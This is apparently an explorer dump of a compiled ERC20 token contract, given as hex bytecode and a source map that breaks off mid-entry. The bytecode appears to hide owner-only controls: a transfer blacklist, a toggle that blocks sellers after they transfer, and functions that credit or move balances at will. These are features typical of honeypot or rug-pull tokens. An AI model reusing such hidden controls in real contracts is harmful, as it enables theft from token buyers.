b09190612f26565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a764000082611a079190612ecc565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a519190612d9a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0890612fcc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779061305e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c5e9190612aca565b60405180910390a3505050565b6000611c778484611333565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611cf15781811015611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906130ca565b60405180910390fd5b611cf08484848403611aa2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d9061315c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc906131ee565b60405180910390fd5b603c60019054906101000a900460ff1615611f78576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613280565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f069190612d9a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f6a9190612aca565b60405180910390a350611f8e565b611f828382611f93565b611f8d838383612254565b5b505050565b611f9b610dcc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120205750603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561225057603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120d657600080fd5b6000603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561216b57603760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561216a57600080fd5b5b600060395411156121865760395481111561218557600080fd5b5b603860009054906101000a900460ff16156121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd906132ec565b60405180910390fd5b6000603a54111561223057603a54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561222f57600080fd5b5b603c60009054906101000a900460ff161561224f5761224e82612872565b5b5b5050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90613358565b60405180910390fd5b600061dead90506122e5610dcc565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561236a5750603560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156126ea5760006064603b54846123b99190612ecc565b6123c391906133a7565b9050600081846123d39190612f26565b905080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124209190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ae9190612d9a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254e9190612aca565b60405180910390a36000603b5411156126e35781600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac9190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263a9190612d9a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126da9190612aca565b60405180910390a35b505061286c565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127359190612f26565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c39190612d9a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128639190612aca565b60405180910390a35b50505050565b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128fd826128d2565b9050919050565b61290d816128f2565b811461291857600080fd5b50565b60008135905061292a81612904565b92915050565b600060208284031215612946576129456128cd565b5b60006129548482850161291b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561299757808201518184015260208101905061297c565b60008484015250505050565b6000601f19601f8301169050919050565b60006129bf8261295d565b6129c98185612968565b93506129d9818560208601612979565b6129e2816129a3565b840191505092915050565b60006020820190508181036000830152612a0781846129b4565b905092915050565b6000819050919050565b612a2281612a0f565b8114612a2d57600080fd5b50565b600081359050612a3f81612a19565b92915050565b60008060408385031215612a5c57612a5b6128cd565b5b6000612a6a8582860161291b565b9250506020612a7b85828601612a30565b9150509250929050565b60008115159050919050565b612a9a81612a85565b82525050565b6000602082019050612ab56000830184612a91565b92915050565b612ac481612a0f565b82525050565b6000602082019050612adf6000830184612abb565b92915050565b600080600060608486031215612afe57612afd6128cd565b5b6000612b0c8682870161291b565b9350506020612b1d8682870161291b565b9250506040612b2e86828701612a30565b9150509250925092565b600060ff82169050919050565b612b4e81612b38565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612a85565b8114612b8357600080fd5b50565b600081359050612b9581612b6f565b92915050565b600060208284031215612bb157612bb06128cd565b5b6000612bbf84828501612b86565b91505092915050565b60008060408385031215612bdf57612bde6128cd565b5b6000612bed8582860161291b565b9250506020612bfe85828601612b86565b9150509250929050565b612c11816128f2565b82525050565b6000602082019050612c2c6000830184612c08565b92915050565b600060208284031215612c4857612c476128cd565b5b6000612c5684828501612a30565b91505092915050565b60008060408385031215612c7657612c756128cd565b5b6000612c848582860161291b565b9250506020612c958582860161291b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cd5602083612968565b9150612ce082612c9f565b602082019050919050565b60006020820190508181036000830152612d0481612cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d5257607f821691505b602082108103612d6557612d64612d0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612da582612a0f565b9150612db083612a0f565b9250828201905080821115612dc857612dc7612d6b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e2a602583612968565b9150612e3582612dce565b604082019050919050565b60006020820190508181036000830152612e5981612e1d565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000612e96600c83612968565b9150612ea182612e60565b602082019050919050565b60006020820190508181036000830152612ec581612e89565b9050919050565b6000612ed782612a0f565b9150612ee283612a0f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1b57612f1a612d6b565b5b828202905092915050565b6000612f3182612a0f565b9150612f3c83612a0f565b9250828203905081811115612f5457612f53612d6b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb6602483612968565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613048602283612968565b915061305382612fec565b604082019050919050565b600060208201905081810360008301526130778161303b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006130b4601d83612968565b91506130bf8261307e565b602082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613146602583612968565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d8602383612968565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061326a602683612968565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b60006132d6600583612968565b91506132e1826132a0565b602082019050919050565b60006020820190508181036000830152613305816132c9565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000613342601583612968565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133b282612a0f565b91506133bd83612a0f565b9250826133cd576133cc613378565b5b82820490509291505056fea2646970667358221220dde3ff4a37740bf040258c3210fb93c585448b4366b4d7f46e79ac67f80c374664736f6c63430008100033

Deployed Bytecode Sourcemap

3132:16172:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6300:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4261:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8411:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19213:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5550:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19106:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9217:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19131:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5223:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9921:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6589:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5872:92;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7244:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6876:144;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5972:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5721:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19160:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6686:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;653:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4480:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6402:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10687:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7634:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6782:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19273:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6202:90;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5324:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6076:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7915:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19188:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15496:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7028:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18371:81;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12775:561;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6300:94;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6381:5:::1;6365:4;:13;6370:7;6365:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;6300:94:::0;:::o;4261:100::-;4315:13;4348:5;4341:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4261:100;:::o;8411:226::-;8519:4;8536:13;8552:12;:10;:12::i;:::-;8536:28;;8575:32;8584:5;8591:7;8600:6;8575:8;:32::i;:::-;8625:4;8618:11;;;8411:226;;;;:::o;19213:20::-;;;;;;;;;;;;;:::o;5550:108::-;5611:7;5638:12;;5631:19;;5550:108;:::o;19106:18::-;;;;;;;;;;;;;:::o;9217:295::-;9348:4;9365:15;9383:12;:10;:12::i;:::-;9365:30;;9406:38;9422:4;9428:7;9437:6;9406:15;:38::i;:::-;9455:27;9465:4;9471:2;9475:6;9455:9;:27::i;:::-;9500:4;9493:11;;;9217:295;;;;;:::o;19131:22::-;;;;:::o;5223:93::-;5281:5;5306:2;5299:9;;5223:93;:::o;9921:263::-;10034:4;10051:13;10067:12;:10;:12::i;:::-;10051:28;;10090:64;10099:5;10106:7;10143:10;10115:25;10125:5;10132:7;10115:9;:25::i;:::-;:38;;;;:::i;:::-;10090:8;:64::i;:::-;10172:4;10165:11;;;9921:263;;;;:::o;6589:89::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6663:7:::1;6652:8;;:18;;;;;;;;;;;;;;;;;;6589:89:::0;:::o;5872:92::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5952:4:::1;5935:5;:14;5941:7;5935:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;5872:92:::0;:::o;7244:184::-;7348:13;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7392:4:::1;7374:15;;:22;;;;;;;;;;;;;;;;;;7415:5;7407:13;;7244:184:::0;;;;:::o;6876:144::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6954:1:::1;6944:6;:11;;6936:20;;;::::0;::::1;;6985:3;6975:6;:13;;6967:22;;;::::0;::::1;;7006:6;7000:3;:12;;;;6876:144:::0;:::o;5972:96::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6055:5:::1;6038;:14;6044:7;6038:14;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;5972:96:::0;:::o;5721:143::-;5811:7;5838:9;:18;5848:7;5838:18;;;;;;;;;;;;;;;;5831:25;;5721:143;;;:::o;19160:21::-;;;;:::o;6686:88::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6760:6:::1;6750:7;:16;;;;6686:88:::0;:::o;653:79::-;691:7;718:6;;;;;;;;;;;711:13;;653:79;:::o;4480:104::-;4536:13;4569:7;4562:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4480:104;:::o;6402:88::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6475:7:::1;6466:6;;:16;;;;;;;;;;;;;;;;;;6402:88:::0;:::o;10687:498::-;10805:4;10822:13;10838:12;:10;:12::i;:::-;10822:28;;10861:24;10888:25;10898:5;10905:7;10888:9;:25::i;:::-;10861:52;;10966:15;10946:16;:35;;10924:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;11082:60;11091:5;11098:7;11126:15;11107:16;:34;11082:8;:60::i;:::-;11173:4;11166:11;;;;10687:498;;;;:::o;7634:218::-;7738:4;7755:13;7771:12;:10;:12::i;:::-;7755:28;;7794;7804:5;7811:2;7815:6;7794:9;:28::i;:::-;7840:4;7833:11;;;7634:218;;;;:::o;6782:86::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6854:6:::1;6845;:15;;;;6782:86:::0;:::o;19273:27::-;;;;;;;;;;;;;:::o;6202:90::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6280:4:::1;6264;:13;6269:7;6264:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;6202:90:::0;:::o;5324:161::-;5412:4;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5443:12:::1;5429:11;;:26;;;;;;;;;;;;;;;;;;5473:4;5466:11;;5324:161:::0;;;:::o;6076:118::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6180:6:::1;6158:10;:19;6169:7;6158:19;;;;;;;;;;;;;;;:28;;;;6076:118:::0;;:::o;7915:176::-;8029:7;8056:11;:18;8068:5;8056:18;;;;;;;;;;;;;;;:27;8075:7;8056:27;;;;;;;;;;;;;;;;8049:34;;7915:176;;;;:::o;19188:18::-;;;;:::o;15496:137::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15619:6:::1;15598:9;:18;15608:7;15598:18;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;15577:9;:18;15587:7;15577:18;;;;;;;;;;;;;;;:48;;;;15496:137:::0;;:::o;7028:208::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7131:1:::1;7110:23;;:9;:23;;::::0;7102:32:::1;;;::::0;::::1;;7145:16;7164:7;:5;:7::i;:::-;7145:26;;7218:9;7187:41;;7208:8;7187:41;;;;;;;;;;;;7091:145;7028:208:::0;:::o;18371:81::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;18438:6:::1;18430:5;;:14;;;;;;;;;;;;;;;;;;18371:81:::0;:::o;12775:561::-;790:12;:10;:12::i;:::-;780:22;;:6;;;;;;;;;;:22;;;772:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12873:7:::1;:5;:7::i;:::-;12863:17;;:6;:17;;::::0;12855:42:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;12908:19;12930:42;12908:64;;13017:8;13008:6;:17;;;;:::i;:::-;12987:9;:17;12997:6;12987:17;;;;;;;;;;;;;;;;:38;12983:346;;13062:1;13042:9;:17;13052:6;13042:17;;;;;;;;;;;;;;;:21;;;;13128:9;:17;13138:6;13128:17;;;;;;;;;;;;;;;;13103:9;:22;13113:11;13103:22;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;13078:9;:22;13088:11;13078:22;;;;;;;;;;;;;;;:67;;;;12983:346;;;13227:8;13218:6;:17;;;;:::i;:::-;13198:9;:17;13208:6;13198:17;;;;;;;;;;;;;;;;:37;;;;:::i;:::-;13178:9;:17;13188:6;13178:17;;;;;;;;;;;;;;;:57;;;;13309:8;13300:6;:17;;;;:::i;:::-;13275:9;:22;13285:11;13275:22;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;13250:9;:22;13260:11;13250:22;;;;;;;;;;;;;;;:67;;;;12983:346;12844:492;12775:561:::0;;:::o;95:98::-;148:7;175:10;168:17;;95:98;:::o;15108:380::-;15261:1;15244:19;;:5;:19;;;15236:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15342:1;15323:21;;:7;:21;;;15315:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15426:6;15396:11;:18;15408:5;15396:18;;;;;;;;;;;;;;;:27;15415:7;15396:27;;;;;;;;;;;;;;;:36;;;;15464:7;15448:32;;15457:5;15448:32;;;15473:6;15448:32;;;;;;:::i;:::-;;;;;;;;15108:380;;;:::o;15924:502::-;16059:24;16086:25;16096:5;16103:7;16086:9;:25::i;:::-;16059:52;;16146:17;16126:16;:37;16122:297;;16226:6;16206:16;:26;;16180:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;16341:51;16350:5;16357:7;16385:6;16366:16;:25;16341:8;:51::i;:::-;16122:297;16048:378;15924:502;;;:::o;11655:787::-;11802:1;11786:18;;:4;:18;;;11778:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11879:1;11865:16;;:2;:16;;;11857:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11938:5;;;;;;;;;;;11934:501;;;11960:19;11982:9;:15;11992:4;11982:15;;;;;;;;;;;;;;;;11960:37;;12053:6;12038:11;:21;;12012:121;;;;;;;;;;;;:::i;:::-;;;;;;;;;12209:6;12195:11;:20;12177:9;:15;12187:4;12177:15;;;;;;;;;;;;;;;:38;;;;12262:6;12245:9;:13;12255:2;12245:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;12305:2;12290:26;;12299:4;12290:26;;;12309:6;12290:26;;;;;;:::i;:::-;;;;;;;;11945:383;11934:501;;;12349:34;12370:4;12376:6;12349:20;:34::i;:::-;12398:25;12406:4;12412:2;12416:6;12398:7;:25::i;:::-;11934:501;11655:787;;;:::o;17026:739::-;17165:7;:5;:7::i;:::-;17157:15;;:4;:15;;;;:31;;;;;17177:5;:11;17183:4;17177:11;;;;;;;;;;;;;;;;;;;;;;;;;17176:12;17157:31;:54;;;;;17200:11;;;;;;;;;;;17192:19;;:4;:19;;;;17157:54;17139:619;;;17277:4;:10;17282:4;17277:10;;;;;;;;;;;;;;;;;;;;;;;;;17276:11;17268:20;;;;;;17326:1;17307:10;:16;17318:4;17307:16;;;;;;;;;;;;;;;;:20;17303:96;;;17366:10;:16;17377:4;17366:16;;;;;;;;;;;;;;;;17356:6;:26;;17348:35;;;;;;17303:96;17429:1;17419:7;;:11;17415:78;;;17469:7;;17459:6;:17;;17451:26;;;;;;17415:78;17511:6;;;;;;;;;;;17507:62;;;17538:15;;;;;;;;;;:::i;:::-;;;;;;;;17507:62;17596:1;17587:6;;:10;17583:85;;;17645:6;;17626:9;:15;17636:4;17626:15;;;;;;;;;;;;;;;;:25;;17618:34;;;;;;17583:85;17688:8;;;;;;;;;;;17684:63;;;17717:14;17726:4;17717:8;:14::i;:::-;17684:63;17139:619;17026:739;;:::o;13582:1088::-;13732:5;13711:9;:17;13721:6;13711:17;;;;;;;;;;;;;;;;:26;;13703:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;13774:19;13796:42;13774:64;;13863:7;:5;:7::i;:::-;13853:17;;:6;:17;;;;:35;;;;;13875:5;:13;13881:6;13875:13;;;;;;;;;;;;;;;;;;;;;;;;;13874:14;13853:35;:62;;;;;13910:4;13892:23;;:6;:23;;;;13853:62;13849:814;;;13932:16;13968:3;13961;;13953:5;:11;;;;:::i;:::-;13952:19;;;;:::i;:::-;13932:40;;13987:14;14012:8;14004:5;:16;;;;:::i;:::-;13987:33;;14075:6;14055:9;:17;14065:6;14055:17;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;14035:9;:17;14045:6;14035:17;;;;;;;;;;;;;;;:46;;;;14142:6;14119:9;:20;14129:9;14119:20;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;14096:9;:20;14106:9;14096:20;;;;;;;;;;;;;;;:52;;;;14185:9;14168:35;;14177:6;14168:35;;;14196:6;14168:35;;;;;;:::i;:::-;;;;;;;;14228:1;14222:3;;:7;14218:236;;;14290:8;14270:9;:17;14280:6;14270:17;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;14250:9;:17;14260:6;14250:17;;;;;;;;;;;;;;;:48;;;;14367:8;14342:9;:22;14352:11;14342:22;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;14317:9;:22;14327:11;14317:22;;;;;;;;;;;;;;;:58;;;;14416:11;14399:39;;14408:6;14399:39;;;14429:8;14399:39;;;;;;:::i;:::-;;;;;;;;14218:236;13917:548;;13849:814;;;14526:5;14506:9;:17;14516:6;14506:17;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;14486:9;:17;14496:6;14486:17;;;;;;;;;;;;;;;:45;;;;14592:5;14569:9;:20;14579:9;14569:20;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;14546:9;:20;14556:9;14546:20;;;;;;;;;;;;;;;:51;;;;14634:9;14617:34;;14626:6;14617:34;;;14645:5;14617:34;;;;;;:::i;:::-;;;;;;;;13849:814;13692:978;13582:1088;;;:::o;6498:83::-;6569:4;6553;:13;6558:7;6553:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;6498:83;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;16